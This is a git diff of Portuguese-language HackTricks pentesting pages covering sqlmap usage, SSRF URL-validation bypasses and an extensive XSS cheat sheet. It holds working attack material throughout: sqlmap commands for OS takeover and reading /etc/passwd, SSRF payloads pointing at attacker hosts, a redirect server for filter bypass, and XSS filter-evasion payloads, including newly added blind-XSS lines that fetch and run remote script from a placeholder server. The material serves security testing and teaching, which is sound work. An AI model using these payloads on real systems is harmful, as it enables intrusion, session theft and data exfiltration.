|
||||
### Da captura do Burp/ZAP
|
||||
|
||||
Capture a solicitação e crie um arquivo req.txt.
|
||||
Capture a solicitação e crie um arquivo req.txt
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -79,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Adicionar técnica de detecção
|
||||
|
||||
Se você encontrou um SQLi, mas o sqlmap não o detectou, você pode forçar a técnica de detecção com argumentos como `--prefix` ou `--suffix`, ou se for mais complexo, adicionando-a aos payloads usados pelo sqlmap em `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, por exemplo, para base de tempo cega.
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com um oneliner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de enviá-la**:
|
||||
**Sqlmap** permite o uso de `-e` ou `--eval` para processar cada payload antes de enviá-lo com algum one-liner em python. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a **sessão de cookie do flask** **é assinada pelo flask com o segredo conhecido antes de ser enviada**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -100,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Rastear um site com SQLmap e auto-exploração
|
||||
### Rastrear um site com SQLmap e auto-exploração
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -140,25 +145,25 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
|
||||
| Tamper | Descrição |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente de largura total em UTF-8 |
|
||||
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente ilegal de unicode duplo |
|
||||
| appendnullbyte.py | Anexa um caractere NULL byte codificado no final do payload |
|
||||
| base64encode.py | Codifica todos os caracteres em um payload dado em Base64 |
|
||||
| apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente ilegal de dupla codificação unicode |
|
||||
| appendnullbyte.py | Anexa um caractere NULL codificado ao final do payload |
|
||||
| base64encode.py | Codifica em Base64 todos os caracteres em um payload dado |
|
||||
| between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco aleatório válido. Em seguida, substitui o caractere = pelo operador LIKE |
|
||||
| chardoubleencode.py | Codifica duas vezes todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
|
||||
| commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| charencode.py | Codifica em URL todos os caracteres em um payload dado (não processando já codificados) |
|
||||
| charunicodeencode.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "%u0022" |
|
||||
| charunicodeescape.py | Codifica em unicode-url caracteres não codificados em um payload dado (não processando já codificados). "\u0022" |
|
||||
| equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
|
||||
| escapequotes.py | Escapa aspas (' e ") com barra |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
|
||||
| greatest.py | Substitui o operador maior que ('>') pelo seu equivalente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Adiciona um comentário MySQL versionado antes de cada palavra-chave |
|
||||
| ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Envolve a consulta completa com um comentário versionado |
|
||||
| modsecurityzeroversioned.py | Envolve a consulta completa com um comentário de zero versão |
|
||||
| modsecurityzeroversioned.py | Envolve a consulta completa com um comentário de versão zero |
|
||||
| multiplespaces.py | Adiciona múltiplos espaços ao redor das palavras-chave SQL |
|
||||
| nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
|
||||
| percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
|
||||
@ -175,14 +180,14 @@ Lembre-se de que **você pode criar seu próprio tamper em python** e é muito s
|
||||
| space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido por uma nova linha ('\n') |
|
||||
| space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido por uma nova linha ('\n') |
|
||||
| space2plus.py | Substitui o caractere de espaço (' ') por um mais ('+') |
|
||||
| space2plus.py | Substitui o caractere de espaço (' ') por um sinal de mais ('+') |
|
||||
| space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
|
||||
| symboliclogical.py | Substitui operadores lógicos AND e OR por seus equivalentes simbólicos (&& e |
|
||||
| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e |
|
||||
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
|
||||
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) |
|
||||
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT' |
|
||||
| varnish.py | Anexa um cabeçalho HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envolve cada palavra-chave não funcional com um comentário MySQL versionado |
|
||||
| versionedmorekeywords.py | Envolve cada palavra-chave com um comentário MySQL versionado |
|
||||
| versionedmorekeywords.py | Envolve cada palavra-chave com um comentário MySQL versionado |
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,6 +5,7 @@
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -145,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Bypass de Caminhos e Extensões
|
||||
|
||||
Se você precisar que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
|
||||
Se for necessário que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -157,7 +158,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
|
||||
|
||||
### Listas de Palavras Personalizadas Automáticas
|
||||
|
||||
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode introduzir o host permitido e o do atacante, e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -165,8 +166,8 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirecionamento
|
||||
|
||||
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa requisição.\
|
||||
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
|
||||
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\
|
||||
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
|
||||
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -190,9 +191,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## Truques Explicados
|
||||
|
||||
### Truque do Blackslash
|
||||
### Truque do Backslash
|
||||
|
||||
O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que o backslash (`\`) é equivalente ao forward slash (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do hostname para o caminho em uma URL.
|
||||
O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto a RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do backslash (`\`) pelo padrão WHATWG como equivalente ao barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL.
|
||||
|
||||

|
||||
|
||||
|
||||
@ -176,7 +176,7 @@ Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag pe
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques simples:
|
||||
Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques simples:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -226,7 +226,7 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Bypass de comprimento (pequenos XSSs)
|
||||
### Bypass de comprimento (pequenos XSS)
|
||||
|
||||
> [!NOTE] > **Mais pequenos XSS para diferentes ambientes** payload [**pode ser encontrado aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
@ -235,22 +235,22 @@ onerror=alert`1`
|
||||
```
|
||||
Os últimos usam 2 caracteres unicode que se expandem para 5: telsr\
|
||||
Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
Para verificar em quais caracteres estão decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se para explorar a vulnerabilidade você precisar que o **usuário clique em um link ou em um formulário** com dados pré-preenchidos, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Marcação Pendente
|
||||
### Impossível - Marcação Pendurada
|
||||
|
||||
Se você apenas acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendente**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
Se você apenas acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendurada**](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetando dentro da tag HTML
|
||||
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não puder escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você poderia tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não puder escapar da tag**, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -345,9 +345,9 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Outras técnicas de ofuscação**
|
||||
**Outras truques de ofuscação**
|
||||
|
||||
_**Neste caso, a codificação HTML e a técnica de codificação Unicode da seção anterior também são válidas, pois você está dentro de um atributo.**_
|
||||
_**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
@ -377,7 +377,7 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank" e rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
Se você puder injetar qualquer URL em uma tag **`<a href=`** arbitrária que contenha os atributos **`target="_blank"` e `rel="opener"`**, verifique a **página a seguir para explorar esse comportamento**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -444,7 +444,7 @@ Leia os [Bypasses de Blacklist da seção anterior](#blacklist-bypasses).
|
||||
|
||||
**Bypasses para código JavaScript**
|
||||
|
||||
Leia a [blacklist de bypasses de JavaScript da seção seguinte](#javascript-bypass-blacklists-techniques).
|
||||
Leia a [blacklist de bypass de JavaScript da seção seguinte](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentários JavaScript (do** [**JavaScript Comments**](#javascript-comments) **truque)**
|
||||
**Comentários JavaScript (do** [**Comentários JavaScript**](#javascript-comments) **truque)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Novas linhas em JavaScript (do** [**truque de nova linha em JavaScript**](#javascript-new-lines) **)**
|
||||
**Quebras de linha em JavaScript (do** [**truque de quebra de linha em JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -767,7 +767,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
|
||||
|
||||
### Espelhamento de Sessão
|
||||
|
||||
Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
|
||||
Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão.
|
||||
|
||||
Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão.
|
||||
|
||||
@ -783,12 +783,12 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Devido à **atribuição em massa do RoR**, as citações são inseridas no HTML e, em seguida, a restrição de citação é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
O par "Key","Value" será retornado assim:
|
||||
A dupla "Key","Value" será retornada assim:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -826,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS com injeção de cabeçalho em uma resposta 302
|
||||
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.
|
||||
|
||||
Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
||||
Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
Se você conseguir indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](#javascript-function) para descobrir como abusar desse comportamento.
|
||||
|
||||
### Tipos de Conteúdo `<script>` Válidos para XSS
|
||||
|
||||
@ -841,7 +841,7 @@ Se você conseguir indicar o **callback** que o javascript vai **executar** limi
|
||||
|
||||
> Recusou-se a executar o script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME (‘application/octet-stream’) não é executável, e a verificação estrita de tipo MIME está habilitada.
|
||||
|
||||
Os únicos **Content-Type** que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Os únicos **Content-Type**s que permitirão que o Chrome execute um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
A resposta é:
|
||||
|
||||
- **module** (padrão, nada a explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) em um **`.wbn`** arquivo.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um **`.wbn`** arquivo.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -919,7 +919,7 @@ Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/y
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -1432,7 +1432,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads XSS Cegos
|
||||
### Payloads de Blind XSS
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1473,6 +1473,31 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Acesso a Conteúdo Oculto
|
||||
|
||||
@ -1521,7 +1546,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
|
||||
### XSS em PDF criado dinamicamente
|
||||
|
||||
Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **Server XSS**.
|
||||
Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **abusar** desse comportamento para causar um **XSS no Servidor**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1535,7 +1560,7 @@ pdf-injection.md
|
||||
|
||||
### XSS em Amp4Email
|
||||
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
|
||||
|
||||
@ -1614,5 +1639,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user